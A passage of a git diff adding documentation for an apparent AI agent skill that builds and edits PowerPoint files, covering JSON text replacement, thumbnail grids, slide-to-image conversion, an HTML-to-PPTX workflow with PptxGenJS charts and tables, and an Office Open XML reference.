`"theme_color": "DARK_1"` for theme colors + - The replacement script expects **properly formatted paragraphs**, not just text strings + - **Overlapping shapes**: Prefer shapes with larger default_font_size or more appropriate placeholder_type + - Save the updated inventory with replacements to `replacement-text.json` + - **WARNING**: Different template layouts have different shape counts - always check the actual inventory before creating replacements + + Example paragraphs field showing proper formatting: + ```json + "paragraphs": [ + { + "text": "New presentation title text", + "alignment": "CENTER", + "bold": true + }, + { + "text": "Section Header", + "bold": true + }, + { + "text": "First bullet point without bullet symbol", + "bullet": true, + "level": 0 + }, + { + "text": "Red colored text", + "color": "FF0000" + }, + { + "text": "Theme colored text", + "theme_color": "DARK_1" + }, + { + "text": "Regular paragraph text without special formatting" + } + ] + ``` + + **Shapes not listed in the replacement JSON are automatically cleared**: + ```json + { + "slide-0": { + "shape-0": { + "paragraphs": [...] // This shape gets new text + } + // shape-1 and shape-2 from inventory will be cleared automatically + } + } + ``` + + **Common formatting patterns for presentations**: + - Title slides: Bold text, sometimes centered + - Section headers within slides: Bold text + - Bullet lists: Each item needs `"bullet": true, "level": 0` + - Body text: Usually no special properties needed + - Quotes: May have special alignment or font properties + +7. **Apply replacements using the `replace.py` script** + ```bash + python scripts/replace.py working.pptx replacement-text.json output.pptx + ``` + + The script will: + - First extract the inventory of ALL text shapes using functions from inventory.py + - Validate that all shapes in the replacement JSON exist in the inventory + - Clear text from ALL shapes identified in the inventory + - Apply new text only to shapes with "paragraphs" defined in the replacement JSON + - Preserve formatting by applying paragraph properties from the JSON + - Handle bullets, alignment, font properties, and colors automatically + - Save the updated presentation + + Example validation errors: + ``` + ERROR: Invalid shapes in replacement JSON: + - Shape 'shape-99' not found on 'slide-0'. Available shapes: shape-0, shape-1, shape-4 + - Slide 'slide-999' not found in inventory + ``` + + ``` + ERROR: Replacement text made overflow worse in these shapes: + - slide-0/shape-2: overflow worsened by 1.25" (was 0.00", now 1.25") + ``` + +## Creating Thumbnail Grids + +To create visual thumbnail grids of PowerPoint slides for quick analysis and reference: + +```bash +python scripts/thumbnail.py template.pptx [output_prefix] +``` + +**Features**: +- Creates: `thumbnails.jpg` (or `thumbnails-1.jpg`, `thumbnails-2.jpg`, etc. for large decks) +- Default: 5 columns, max 30 slides per grid (5×6) +- Custom prefix: `python scripts/thumbnail.py template.pptx my-grid` + - Note: The output prefix should include the path if you want output in a specific directory (e.g., `workspace/my-grid`) +- Adjust columns: `--cols 4` (range: 3-6, affects slides per grid) +- Grid limits: 3 cols = 12 slides/grid, 4 cols = 20, 5 cols = 30, 6 cols = 42 +- Slides are zero-indexed (Slide 0, Slide 1, etc.) + +**Use cases**: +- Template analysis: Quickly understand slide layouts and design patterns +- Content review: Visual overview of entire presentation +- Navigation reference: Find specific slides by their visual appearance +- Quality check: Verify all slides are properly formatted + +**Examples**: +```bash +# Basic usage +python scripts/thumbnail.py presentation.pptx + +# Combine options: custom name, columns +python scripts/thumbnail.py template.pptx analysis --cols 4 +``` + +## Converting Slides to Images + +To visually analyze PowerPoint slides, convert them to images using a two-step process: + +1. **Convert PPTX to PDF**: + ```bash + soffice --headless --convert-to pdf template.pptx + ``` + +2. **Convert PDF pages to JPEG images**: + ```bash + pdftoppm -jpeg -r 150 template.pdf slide + ``` + This creates files like `slide-1.jpg`, `slide-2.jpg`, etc. + +Options: +- `-r 150`: Sets resolution to 150 DPI (adjust for quality/size balance) +- `-jpeg`: Output JPEG format (use `-png` for PNG if preferred) +- `-f N`: First page to convert (e.g., `-f 2` starts from page 2) +- `-l N`: Last page to convert (e.g., `-l 5` stops at page 5) +- `slide`: Prefix for output files + +Example for specific range: +```bash +pdftoppm -jpeg -r 150 -f 2 -l 5 template.pdf slide # Converts only pages 2-5 +``` + +## Code Style Guidelines +**IMPORTANT**: When generating code for PPTX operations: +- Write concise code +- Avoid verbose variable names and redundant operations +- Avoid unnecessary print statements + +## Dependencies + +Required dependencies (should already be installed): + +- **markitdown**: `pip install "markitdown[pptx]"` (for text extraction from presentations) +- **pptxgenjs**: `npm install -g pptxgenjs` (for creating presentations via html2pptx) +- **playwright**: `npm install -g playwright` (for HTML rendering in html2pptx) +- **react-icons**: `npm install -g react-icons react react-dom` (for icons) +- **sharp**: `npm install -g sharp` (for SVG rasterization and image processing) +- **LibreOffice**: `sudo apt-get install libreoffice` (for PDF conversion) +- **Poppler**: `sudo apt-get install poppler-utils` (for pdftoppm to convert PDF to images) +- **defusedxml**: `pip install defusedxml` (for secure XML parsing) \ No newline at end of file diff --git a/skills/pptx/html2pptx.md b/skills/pptx/html2pptx.md new file mode 100644 index 00000000..106adf72 --- /dev/null +++ b/skills/pptx/html2pptx.md @@ -0,0 +1,625 @@ +# HTML to PowerPoint Guide + +Convert HTML slides to PowerPoint presentations with accurate positioning using the `html2pptx.js` library. + +## Table of Contents + +1. [Creating HTML Slides](#creating-html-slides) +2. [Using the html2pptx Library](#using-the-html2pptx-library) +3. [Using PptxGenJS](#using-pptxgenjs) + +--- + +## Creating HTML Slides + +Every HTML slide must include proper body dimensions: + +### Layout Dimensions + +- **16:9** (default): `width: 720pt; height: 405pt` +- **4:3**: `width: 720pt; height: 540pt` +- **16:10**: `width: 720pt; height: 450pt` + +### Supported Elements + +- `<p>`, `<h1>`-`<h6>` - Text with styling +- `<ul>`, `<ol>` - Lists (never use manual bullets •, -, *) +- `<b>`, `<strong>` - Bold text (inline formatting) +- `<i>`, `<em>` - Italic text (inline formatting) +- `<u>` - Underlined text (inline formatting) +- `<span>` - Inline formatting with CSS styles (bold, italic, underline, color) +- `<br>` - Line breaks +- `<div>` with bg/border - Becomes shape +- `<img>` - Images +- `class="placeholder"` - Reserved space for charts (returns `{ id, x, y, w, h }`) + +### Critical Text Rules + +**ALL text MUST be inside `<p>`, `<h1>`-`<h6>`, `<ul>`, or `<ol>` tags:** +- ✅ Correct: `<div><p>Text here</p></div>` +- ❌ Wrong: `<div>Text here</div>` - **Text will NOT appear in PowerPoint** +- ❌ Wrong: `<span>Text</span>` - **Text will NOT appear in PowerPoint** +- Text in `<div>` or `<span>` without a text tag will be silently ignored + +**NEVER use manual bullet symbols (•, -, *, etc.)** - Use `<ul>` or `<ol>` lists instead + +**ONLY use web-safe fonts that are universally available:** +- ✅ Web-safe fonts: `Arial`, `Helvetica`, `Times New Roman`, `Georgia`, `Courier New`, `Verdana`, `Tahoma`, `Trebuchet MS`, `Impact`, `Comic Sans MS` +- ❌ Wrong: `'Segoe UI'`, `'SF Pro'`, `'Roboto'`, custom fonts - **Might cause rendering issues** + +### Styling + +- Use `display: flex` on body to prevent margin collapse from breaking overflow validation +- Use `margin` for spacing (padding included in size) +- Inline formatting: Use `<b>`, `<i>`, `<u>` tags OR `<span>` with CSS styles + - `<span>` supports: `font-weight: bold`, `font-style: italic`, `text-decoration: underline`, `color: #rrggbb` + - `<span>` does NOT support: `margin`, `padding` (not supported in PowerPoint text runs) + - Example: `<span style="font-weight: bold; color: #667eea;">Bold blue text</span>` +- Flexbox works - positions calculated from rendered layout +- Use hex colors with `#` prefix in CSS +- **Text alignment**: Use CSS `text-align` (`center`, `right`, etc.) when needed as a hint to PptxGenJS for text formatting if text lengths are slightly off + +### Shape Styling (DIV elements only) + +**IMPORTANT: Backgrounds, borders, and shadows only work on `<div>` elements, NOT on text elements (`<p>`, `<h1>`-`<h6>`, `<ul>`, `<ol>`)** + +- **Backgrounds**: CSS `background` or `background-color` on `<div>` elements only + - Example: `<div style="background: #f0f0f0;">` - Creates a shape with background +- **Borders**: CSS `border` on `<div>` elements converts to PowerPoint shape borders + - Supports uniform borders: `border: 2px solid #333333` + - Supports partial borders: `border-left`, `border-right`, `border-top`, `border-bottom` (rendered as line shapes) + - Example: `<div style="border-left: 8pt solid #E76F51;">` +- **Border radius**: CSS `border-radius` on `<div>` elements for rounded corners + - `border-radius: 50%` or higher creates circular shape + - Percentages <50% calculated relative to shape's smaller dimension + - Supports px and pt units (e.g., `border-radius: 8pt;`, `border-radius: 12px;`) + - Example: `<div style="border-radius: 25%;">` on 100x200px box = 25% of 100px = 25px radius +- **Box shadows**: CSS `box-shadow` on `<div>` elements converts to PowerPoint shadows + - Supports outer shadows only (inset shadows are ignored to prevent corruption) + - Example: `<div style="box-shadow: 2px 2px 8px rgba(0, 0, 0, 0.3);">` + - Note: Inset/inner shadows are not supported by PowerPoint and will be skipped + +### Icons & Gradients + +- **CRITICAL: Never use CSS gradients (`linear-gradient`, `radial-gradient`)** - They don't convert to PowerPoint +- **ALWAYS create gradient/icon PNGs FIRST using Sharp, then reference in HTML** +- For gradients: Rasterize SVG to PNG background images +- For icons: Rasterize react-icons SVG to PNG images +- All visual effects must be pre-rendered as raster images before HTML rendering + +**Rasterizing Icons with Sharp:** + +```javascript +const React = require('react'); +const ReactDOMServer = require('react-dom/server'); +const sharp = require('sharp'); +const { FaHome } = require('react-icons/fa'); + +async function rasterizeIconPng(IconComponent, color, size = "256", filename) { + const svgString = ReactDOMServer.renderToStaticMarkup( + React.createElement(IconComponent, { color: `#${color}`, size: size }) + ); + + // Convert SVG to PNG using Sharp + await sharp(Buffer.from(svgString)) + .png() + .toFile(filename); + + return filename; +} + +// Usage: Rasterize icon before using in HTML +const iconPath = await rasterizeIconPng(FaHome, "4472c4", "256", "home-icon.png"); +// Then reference in HTML: <img src="home-icon.png" style="width: 40pt; height: 40pt;"> +``` + +**Rasterizing Gradients with Sharp:** + +```javascript +const sharp = require('sharp'); + +async function createGradientBackground(filename) { + const svg = `<svg xmlns="http://www.w3.org/2000/svg" width="1000" height="562.5"> + <defs> + <linearGradient id="g" x1="0%" y1="0%" x2="100%" y2="100%"> + <stop offset="0%" style="stop-color:#COLOR1"/> + <stop offset="100%" style="stop-color:#COLOR2"/> + </linearGradient> + </defs> + <rect width="100%" height="100%" fill="url(#g)"/> + </svg>`; + + await sharp(Buffer.from(svg)) + .png() + .toFile(filename); + + return filename; +} + +// Usage: Create gradient background before HTML +const bgPath = await createGradientBackground("gradient-bg.png"); +// Then in HTML: <body style="background-image: url('gradient-bg.png');"> +``` + +### Example + +```html +<!DOCTYPE html> +<html> +<head> +<style> +html { background: #ffffff; } +body { + width: 720pt; height: 405pt; margin: 0; padding: 0; + background: #f5f5f5; font-family: Arial, sans-serif; + display: flex; +} +.content { margin: 30pt; padding: 40pt; background: #ffffff; border-radius: 8pt; } +h1 { color: #2d3748; font-size: 32pt; } +.box { + background: #70ad47; padding: 20pt; border: 3px solid #5a8f37; + border-radius: 12pt; box-shadow: 3px 3px 10px rgba(0, 0, 0, 0.25); +} +</style> +</head> +<body> +<div class="content"> + <h1>Recipe Title</h1> + <ul> + <li><b>Item:</b> Description</li> + </ul> + <p>Text with <b>bold</b>, <i>italic</i>, <u>underline</u>.</p> + <div id="chart" class="placeholder" style="width: 350pt; height: 200pt;"></div> + + <!-- Text MUST be in <p> tags --> + <div class="box"> + <p>5</p> + </div> +</div> +</body> +</html> +``` + +## Using the html2pptx Library + +### Dependencies + +These libraries have been globally installed and are available to use: +- `pptxgenjs` +- `playwright` +- `sharp` + +### Basic Usage + +```javascript +const pptxgen = require('pptxgenjs'); +const html2pptx = require('./html2pptx'); + +const pptx = new pptxgen(); +pptx.layout = 'LAYOUT_16x9'; // Must match HTML body dimensions + +const { slide, placeholders } = await html2pptx('slide1.html', pptx); + +// Add chart to placeholder area +if (placeholders.length > 0) { + slide.addChart(pptx.charts.LINE, chartData, placeholders[0]); +} + +await pptx.writeFile('output.pptx'); +``` + +### API Reference + +#### Function Signature +```javascript +await html2pptx(htmlFile, pres, options) +``` + +#### Parameters +- `htmlFile` (string): Path to HTML file (absolute or relative) +- `pres` (pptxgen): PptxGenJS presentation instance with layout already set +- `options` (object, optional): + - `tmpDir` (string): Temporary directory for generated files (default: `process.env.TMPDIR || '/tmp'`) + - `slide` (object): Existing slide to reuse (default: creates new slide) + +#### Returns +```javascript +{ + slide: pptxgenSlide, // The created/updated slide + placeholders: [ // Array of placeholder positions + { id: string, x: number, y: number, w: number, h: number }, + ... + ] +} +``` + +### Validation + +The library automatically validates and collects all errors before throwing: + +1. **HTML dimensions must match presentation layout** - Reports dimension mismatches +2. **Content must not overflow body** - Reports overflow with exact measurements +3. **CSS gradients** - Reports unsupported gradient usage +4. **Text element styling** - Reports backgrounds/borders/shadows on text elements (only allowed on divs) + +**All validation errors are collected and reported together** in a single error message, allowing you to fix all issues at once instead of one at a time. + +### Working with Placeholders + +```javascript +const { slide, placeholders } = await html2pptx('slide.html', pptx); + +// Use first placeholder +slide.addChart(pptx.charts.BAR, data, placeholders[0]); + +// Find by ID +const chartArea = placeholders.find(p => p.id === 'chart-area'); +slide.addChart(pptx.charts.LINE, data, chartArea); +``` + +### Complete Example + +```javascript +const pptxgen = require('pptxgenjs'); +const html2pptx = require('./html2pptx'); + +async function createPresentation() { + const pptx = new pptxgen(); + pptx.layout = 'LAYOUT_16x9'; + pptx.author = 'Your Name'; + pptx.title = 'My Presentation'; + + // Slide 1: Title + const { slide: slide1 } = await html2pptx('slides/title.html', pptx); + + // Slide 2: Content with chart + const { slide: slide2, placeholders } = await html2pptx('slides/data.html', pptx); + + const chartData = [{ + name: 'Sales', + labels: ['Q1', 'Q2', 'Q3', 'Q4'], + values: [4500, 5500, 6200, 7100] + }]; + + slide2.addChart(pptx.charts.BAR, chartData, { + ...placeholders[0], + showTitle: true, + title: 'Quarterly Sales', + showCatAxisTitle: true, + catAxisTitle: 'Quarter', + showValAxisTitle: true, + valAxisTitle: 'Sales ($000s)' + }); + + // Save + await pptx.writeFile({ fileName: 'presentation.pptx' }); + console.log('Presentation created successfully!'); +} + +createPresentation().catch(console.error); +``` + +## Using PptxGenJS + +After converting HTML to slides with `html2pptx`, you'll use PptxGenJS to add dynamic content like charts, images, and additional elements. + +### ⚠️ Critical Rules + +#### Colors +- **NEVER use `#` prefix** with hex colors in PptxGenJS - causes file corruption +- ✅ Correct: `color: "FF0000"`, `fill: { color: "0066CC" }` +- ❌ Wrong: `color: "#FF0000"` (breaks document) + +### Adding Images + +Always calculate aspect ratios from actual image dimensions: + +```javascript +// Get image dimensions: identify image.png | grep -o '[0-9]* x [0-9]*' +const imgWidth = 1860, imgHeight = 1519; // From actual file +const aspectRatio = imgWidth / imgHeight; + +const h = 3; // Max height +const w = h * aspectRatio; +const x = (10 - w) / 2; // Center on 16:9 slide + +slide.addImage({ path: "chart.png", x, y: 1.5, w, h }); +``` + +### Adding Text + +```javascript +// Rich text with formatting +slide.addText([ + { text: "Bold ", options: { bold: true } }, + { text: "Italic ", options: { italic: true } }, + { text: "Normal" } +], { + x: 1, y: 2, w: 8, h: 1 +}); +``` + +### Adding Shapes + +```javascript +// Rectangle +slide.addShape(pptx.shapes.RECTANGLE, { + x: 1, y: 1, w: 3, h: 2, + fill: { color: "4472C4" }, + line: { color: "000000", width: 2 } +}); + +// Circle +slide.addShape(pptx.shapes.OVAL, { + x: 5, y: 1, w: 2, h: 2, + fill: { color: "ED7D31" } +}); + +// Rounded rectangle +slide.addShape(pptx.shapes.ROUNDED_RECTANGLE, { + x: 1, y: 4, w: 3, h: 1.5, + fill: { color: "70AD47" }, + rectRadius: 0.2 +}); +``` + +### Adding Charts + +**Required for most charts:** Axis labels using `catAxisTitle` (category) and `valAxisTitle` (value). + +**Chart Data Format:** +- Use **single series with all labels** for simple bar/line charts +- Each series creates a separate legend entry +- Labels array defines X-axis values + +**Time Series Data - Choose Correct Granularity:** +- **< 30 days**: Use daily grouping (e.g., "10-01", "10-02") - avoid monthly aggregation that creates single-point charts +- **30-365 days**: Use monthly grouping (e.g., "2024-01", "2024-02") +- **> 365 days**: Use yearly grouping (e.g., "2023", "2024") +- **Validate**: Charts with only 1 data point likely indicate incorrect aggregation for the time period + +```javascript +const { slide, placeholders } = await html2pptx('slide.html', pptx); + +// CORRECT: Single series with all labels +slide.addChart(pptx.charts.BAR, [{ + name: "Sales 2024", + labels: ["Q1", "Q2", "Q3", "Q4"], + values: [4500, 5500, 6200, 7100] +}], { + ...placeholders[0], // Use placeholder position + barDir: 'col', // 'col' = vertical bars, 'bar' = horizontal + showTitle: true, + title: 'Quarterly Sales', + showLegend: false, // No legend needed for single series + // Required axis labels + showCatAxisTitle: true, + catAxisTitle: 'Quarter', + showValAxisTitle: true, + valAxisTitle: 'Sales ($000s)', + // Optional: Control scaling (adjust min based on data range for better visualization) + valAxisMaxVal: 8000, + valAxisMinVal: 0, // Use 0 for counts/amounts; for clustered data (e.g., 4500-7100), consider starting closer to min value + valAxisMajorUnit: 2000, // Control y-axis label spacing to prevent crowding + catAxisLabelRotate: 45, // Rotate labels if crowded + dataLabelPosition: 'outEnd', + dataLabelColor: '000000', + // Use single color for single-series charts + chartColors: ["4472C4"] // All bars same color +}); +``` + +#### Scatter Chart + +**IMPORTANT**: Scatter chart data format is unusual - first series contains X-axis values, subsequent series contain Y-values: + +```javascript +// Prepare data +const data1 = [{ x: 10, y: 20 }, { x: 15, y: 25 }, { x: 20, y: 30 }]; +const data2 = [{ x: 12, y: 18 }, { x: 18, y: 22 }]; + +const allXValues = [...data1.map(d => d.x), ...data2.map(d => d.x)]; + +slide.addChart(pptx.charts.SCATTER, [ + { name: 'X-Axis', values: allXValues }, // First series = X values + { name: 'Series 1', values: data1.map(d => d.y) }, // Y values only + { name: 'Series 2', values: data2.map(d => d.y) } // Y values only +], { + x: 1, y: 1, w: 8, h: 4, + lineSize: 0, // 0 = no connecting lines + lineDataSymbol: 'circle', + lineDataSymbolSize: 6, + showCatAxisTitle: true, + catAxisTitle: 'X Axis', + showValAxisTitle: true, + valAxisTitle: 'Y Axis', + chartColors: ["4472C4", "ED7D31"] +}); +``` + +#### Line Chart + +```javascript +slide.addChart(pptx.charts.LINE, [{ + name: "Temperature", + labels: ["Jan", "Feb", "Mar", "Apr"], + values: [32, 35, 42, 55] +}], { + x: 1, y: 1, w: 8, h: 4, + lineSize: 4, + lineSmooth: true, + // Required axis labels + showCatAxisTitle: true, + catAxisTitle: 'Month', + showValAxisTitle: true, + valAxisTitle: 'Temperature (°F)', + // Optional: Y-axis range (set min based on data range for better visualization) + valAxisMinVal: 0, // For ranges starting at 0 (counts, percentages, etc.) + valAxisMaxVal: 60, + valAxisMajorUnit: 20, // Control y-axis label spacing to prevent crowding (e.g., 10, 20, 25) + // valAxisMinVal: 30, // PREFERRED: For data clustered in a range (e.g., 32-55 or ratings 3-5), start axis closer to min value to show variation + // Optional: Chart colors + chartColors: ["4472C4", "ED7D31", "A5A5A5"] +}); +``` + +#### Pie Chart (No Axis Labels Required) + +**CRITICAL**: Pie charts require a **single data series** with all categories in the `labels` array and corresponding values in the `values` array. + +```javascript +slide.addChart(pptx.charts.PIE, [{ + name: "Market Share", + labels: ["Product A", "Product B", "Other"], // All categories in one array + values: [35, 45, 20] // All values in one array +}], { + x: 2, y: 1, w: 6, h: 4, + showPercent: true, + showLegend: true, + legendPos: 'r', // right + chartColors: ["4472C4", "ED7D31", "A5A5A5"] +}); +``` + +#### Multiple Data Series + +```javascript +slide.addChart(pptx.charts.LINE, [ + { + name: "Product A", + labels: ["Q1", "Q2", "Q3", "Q4"], + values: [10, 20, 30, 40] + }, + { + name: "Product B", + labels: ["Q1", "Q2", "Q3", "Q4"], + values: [15, 25, 20, 35] + } +], { + x: 1, y: 1, w: 8, h: 4, + showCatAxisTitle: true, + catAxisTitle: 'Quarter', + showValAxisTitle: true, + valAxisTitle: 'Revenue ($M)' +}); +``` + +### Chart Colors + +**CRITICAL**: Use hex colors **without** the `#` prefix - including `#` causes file corruption. + +**Align chart colors with your chosen design palette**, ensuring sufficient contrast and distinctiveness for data visualization. Adjust colors for: +- Strong contrast between adjacent series +- Readability against slide backgrounds +- Accessibility (avoid red-green only combinations) + +```javascript +// Example: Ocean palette-inspired chart colors (adjusted for contrast) +const chartColors = ["16A085", "FF6B9D", "2C3E50", "F39C12", "9B59B6"]; + +// Single-series chart: Use one color for all bars/points +slide.addChart(pptx.charts.BAR, [{ + name: "Sales", + labels: ["Q1", "Q2", "Q3", "Q4"], + values: [4500, 5500, 6200, 7100] +}], { + ...placeholders[0], + chartColors: ["16A085"], // All bars same color + showLegend: false +}); + +// Multi-series chart: Each series gets a different color +slide.addChart(pptx.charts.LINE, [ + { name: "Product A", labels: ["Q1", "Q2", "Q3"], values: [10, 20, 30] }, + { name: "Product B", labels: ["Q1", "Q2", "Q3"], values: [15, 25, 20] } +], { + ...placeholders[0], + chartColors: ["16A085", "FF6B9D"] // One color per series +}); +``` + +### Adding Tables + +Tables can be added with basic or advanced formatting: + +#### Basic Table + +```javascript +slide.addTable([ + ["Header 1", "Header 2", "Header 3"], + ["Row 1, Col 1", "Row 1, Col 2", "Row 1, Col 3"], + ["Row 2, Col 1", "Row 2, Col 2", "Row 2, Col 3"] +], { + x: 0.5, + y: 1, + w: 9, + h: 3, + border: { pt: 1, color: "999999" }, + fill: { color: "F1F1F1" } +}); +``` + +#### Table with Custom Formatting + +```javascript +const tableData = [ + // Header row with custom styling + [ + { text: "Product", options: { fill: { color: "4472C4" }, color: "FFFFFF", bold: true } }, + { text: "Revenue", options: { fill: { color: "4472C4" }, color: "FFFFFF", bold: true } }, + { text: "Growth", options: { fill: { color: "4472C4" }, color: "FFFFFF", bold: true } } + ], + // Data rows + ["Product A", "$50M", "+15%"], + ["Product B", "$35M", "+22%"], + ["Product C", "$28M", "+8%"] +]; + +slide.addTable(tableData, { + x: 1, + y: 1.5, + w: 8, + h: 3, + colW: [3, 2.5, 2.5], // Column widths + rowH: [0.5, 0.6, 0.6, 0.6], // Row heights + border: { pt: 1, color: "CCCCCC" }, + align: "center", + valign: "middle", + fontSize: 14 +}); +``` + +#### Table with Merged Cells + +```javascript +const mergedTableData = [ + [ + { text: "Q1 Results", options: { colspan: 3, fill: { color: "4472C4" }, color: "FFFFFF", bold: true } } + ], + ["Product", "Sales", "Market Share"], + ["Product A", "$25M", "35%"], + ["Product B", "$18M", "25%"] +]; + +slide.addTable(mergedTableData, { + x: 1, + y: 1, + w: 8, + h: 2.5, + colW: [3, 2.5, 2.5], + border: { pt: 1, color: "DDDDDD" } +}); +``` + +### Table Options + +Common table options: +- `x, y, w, h` - Position and size +- `colW` - Array of column widths (in inches) +- `rowH` - Array of row heights (in inches) +- `border` - Border style: `{ pt: 1, color: "999999" }` +- `fill` - Background color (no # prefix) +- `align` - Text alignment: "left", "center", "right" +- `valign` - Vertical alignment: "top", "middle", "bottom" +- `fontSize` - Text size +- `autoPage` - Auto-create new slides if content overflows \ No newline at end of file diff --git a/skills/pptx/ooxml.md b/skills/pptx/ooxml.md new file mode 100644 index 00000000..951b3cf6 --- /dev/null +++ b/skills/pptx/ooxml.md @@ -0,0 +1,427 @@ +# Office Open XML Technical Reference for PowerPoint + +**Important: Read this entire document before starting.** Critical XML schema rules and formatting requirements are covered throughout. Incorrect implementation can create invalid PPTX files that PowerPoint cannot open. + +## Technical Guidelines + +### Schema Compliance +- **Element ordering in `<p:txBody>`**: `<a:bodyPr>`, `<a:lstStyle>`, `<a:p>` +- **Whitespace**: Add `xml:space='preserve'` to `<a:t>` elements with leading/trailing spaces +- **Unicode**: Escape characters in ASCII content: `"` becomes `“` +- **Images**: Add to `ppt/media/`, reference in slide XML, set dimensions to fit slide bounds +- **Relationships**: Update `ppt/slides/_rels/slideN.xml.rels` for each slide's resources +- **Dirty attribute**: Add `dirty="0"` to `<a:rPr>` and `<a:endParaRPr>` elements to indicate clean state + +## Presentation Structure + +### Basic Slide Structure +```xml +<!-- ppt/slides/slide1.xml --> +<p:sld> + <p:cSld> + <p:spTree> + <p:nvGrpSpPr>...</p:nvGrpSpPr> + <p:grpSpPr>...</p:grpSpPr> + <!-- Shapes go here --> + </p:spTree> + </p:cSld> +</p:sld> +``` + +### Text Box / Shape with Text +```xml +<p:sp> + <p:nvSpPr> + <p:cNvPr id="2" name="Title"/> + <p:cNvSpPr> + <a:spLocks noGrp="1"/> + </p:cNvSpPr> + <p:nvPr> + <p:ph type="ctrTitle"/> + </p:nvPr> + </p:nvSpPr> + <p:spPr> + <a:xfrm> + <a:off x="838200" y="365125"/> + <a:ext cx="7772400" cy="1470025"/> + </a:xfrm> + </p:spPr> + <p:txBody> + <a:bodyPr/> + <a:lstStyle/> + <a:p> + <a:r> + <a:t>Slide Title</a:t> + </a:r> + </a:p> + </p:txBody> +</p:sp> +``` + +### Text Formatting +```xml +<!-- Bold --> +<a:r> + <a:rPr b="1"/> + <a:t>Bold Text</a:t> +</a:r> + +<!-- Italic --> +<a:r> + <a:rPr i="1"/> + <a:t>Italic Text</a:t> +</a:r> + +<!-- Underline --> +<a:r> + <a:rPr u="sng"/> + <a:t>Underlined</a:t> +</a:r> + +<!-- Highlight --> +<a:r> + <a:rPr> + <a:highlight> + <a:srgbClr val="FFFF00"/> + </a:highlight> + </a:rPr> + <a:t>Highlighted Text</a:t> +</a:r> + +<!-- Font and Size --> +<a:r> + <a:rPr sz="2400" typeface="Arial"> + <a:solidFill> + <a:srgbClr val="FF0000"/> + </a:solidFill> + </a:rPr> + <a:t>Colored Arial 24pt</a:t> +</a:r> + +<!-- Complete formatting example --> +<a:r> + <a:rPr lang="en-US" sz="1400" b="1" dirty="0"> + <a:solidFill> + <a:srgbClr val="FAFAFA"/> + </a:solidFill> + </a:rPr> + <a:t>Formatted text</a:t> +</a:r> +``` + +### Lists +```xml +<!-- Bullet list --> +<a:p> + <a:pPr lvl="0"> + <a:buChar char="•"/> + </a:pPr> + <a:r> + <a:t>First bullet point</a:t> + </a:r> +</a:p> + +<!-- Numbered list --> +<a:p> + <a:pPr lvl="0"> + <a:buAutoNum type="arabicPeriod"/> + </a:pPr> + <a:r> + <a:t>First numbered item</a:t> + </a:r> +</a:p> + +<!-- Second level indent --> +<a:p> + <a:pPr lvl="1"> + <a:buChar char="•"/> + </a:pPr> + <a:r> + <a:t>Indented bullet</a:t> + </a:r> +</a:p> +``` + +### Shapes +```xml +<!-- Rectangle --> +<p:sp> + <p:nvSpPr> + <p:cNvPr id="3" name="Rectangle"/> + <p:cNvSpPr/> + <p:nvPr/> + </p:nvSpPr> + <p:spPr> + <a:xfrm> + <a:off x="1000000" y="1000000"/> + <a:ext cx="3000000" cy="2000000"/> + </a:xfrm> + <a:prstGeom prst="rect"> + <a:avLst/> + </a:prstGeom> + <a:solidFill> + <a:srgbClr val="FF0000"/> + </a:solidFill> + <a:ln w="25400"> + <a:solidFill> + <a:srgbClr val="000000"/> + </a:solidFill> + </a:ln> + </p:spPr> +</p:sp> + +<!-- Rounded Rectangle --> +<p:sp> + <p:spPr> + <a:prstGeom prst="roundRect"> + <a:avLst/> + </a:prstGeom> + </p:spPr> +</p:sp> + +<!-- Circle/Ellipse --> +<p:sp> + <p:spPr> + <a:prstGeom prst="ellipse"> + <a:avLst/> + </a:prstGeom> + </p:spPr> +</p:sp> +``` + +### Images +```xml +<p:pic> + <p:nvPicPr> + <p:cNvPr id="4" name="Picture"> + <a:hlinkClick r:id="" action="ppaction://media"/> + </p:cNvPr> + <p:cNvPicPr> + <a:picLocks noChangeAspect="1"/> + </p:cNvPicPr> + <p:nvPr/> + </p:nvPicPr> + <p:blipFill> + <a:blip r:embed="rId2"/> + <a:stretch> + <a:fillRect/> + </a:stretch> + </p:blipFill> + <p:spPr> + <a:xfrm> + <a:off x="1000000" y="1000000"/> + <a:ext cx="3000000" cy="2000000"/> + </a:xfrm> + <a:prstGeom prst="rect"> + <a:avLst/> + </a:prstGeom> + </p:spPr> +</p:pic> +``` + +### Tables +```xml +<p:graphicFrame> + <p:nvGraphicFramePr> + <p:cNvPr id="5" name="Table"/> + <p:cNvGraphicFramePr> + <a:graphicFrameLocks noGrp="1"/> + </p:cNvGraphicFramePr> + <p:nvPr/> + </p:nvGraphicFramePr> + <p:xfrm> + <a:off x="1000000" y="1000000"/> + <a:ext cx="6000000" cy="2000000"/> + </p:xfrm> + <a:graphic> + <a:graphicData uri="http://schemas.openxmlformats.org/drawingml/2006/table"> + <a:tbl> + <a:tblGrid> + <a:gridCol w="3000000"/> + <a:gridCol w="3000000"/> + </a:tblGrid> + <a:tr h="500000"> + <a:tc> + <a:txBody> + <a:bodyPr/> + <a:lstStyle/> + <a:p> + <a:r> + <a:t>Cell 1</a:t> + </a:r> + </a:p> + </a:txBody> + </a:tc> + <a:tc> + <a:txBody> + <a:bodyPr/> + <a:lstStyle/> + <a:p> + <a:r> + <a:t>Cell 2</a:t> + </a:r> + </a:p> + </a:txBody> + </a:tc> + </a:tr> + </a:tbl> + </a:graphicData> + </a:graphic> +</p:graphicFrame> +``` + +### Slide Layouts + +```xml +<!-- Title Slide Layout --> +<p:sp> + <p:nvSpPr> + <p:nvPr> + <p:ph type="ctrTitle"/> + </p:nvPr> + </p:nvSpPr> + <!-- Title content --> +</p:sp> + +<p:sp> + <p:nvSpPr> + <p:nvPr> + <p:ph type="subTitle" idx="1"/> + </p:nvPr> + </p:nvSpPr> + <!-- Subtitle content --> +</p:sp> + +<!-- Content Slide Layout --> +<p:sp> + <p:nvSpPr> + <p:nvPr> + <p:ph type="title"/> + </p:nvPr> + </p:nvSpPr> + <!-- Slide title --> +</p:sp> + +<p:sp> + <p:nvSpPr> + <p:nvPr> + <p:ph type="body" idx="1"/> + </p:nvPr> + </p:nvSpPr> + <!-- Content body --> +</p:sp> +``` + +## File Updates + +When adding content, update these files: + +**`ppt/_rels/presentation.xml.rels`:** +```xml +<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slide" Target="slides/slide1.xml"/> +<Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideMaster" Target="slideMasters/slideMaster1.xml"/> +``` + +**`ppt/slides/_rels/slide1.xml.rels`:** +```xml +<Relationship 